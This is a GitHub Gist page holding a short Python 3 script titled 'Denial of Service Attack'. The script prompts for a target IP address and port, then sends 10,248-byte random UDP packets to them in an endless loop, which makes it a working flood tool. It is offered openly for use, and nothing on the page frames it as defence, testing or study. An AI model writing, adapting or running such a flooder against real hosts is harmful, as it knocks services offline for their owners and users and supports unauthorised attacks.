Created
June 21, 2021 05:37
-
-
Save dark-ninja10/2ff2302ca6b7db074448c85d148967f6 to your computer and use it in GitHub Desktop.
Denial of Service Attack using Python 3
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import random | |
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) | |
bytes = random._urandom(10248) | |
ip = input("Target IP: ") | |
port = int(input("Enter Port: ")) | |
sent = 0 | |
while 1: | |
sock.sendto(bytes,(ip,port)) | |
print("Sent %s amount of packets to %s at port %s" % (sent,ip,port)) | |
sent = sent + 1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment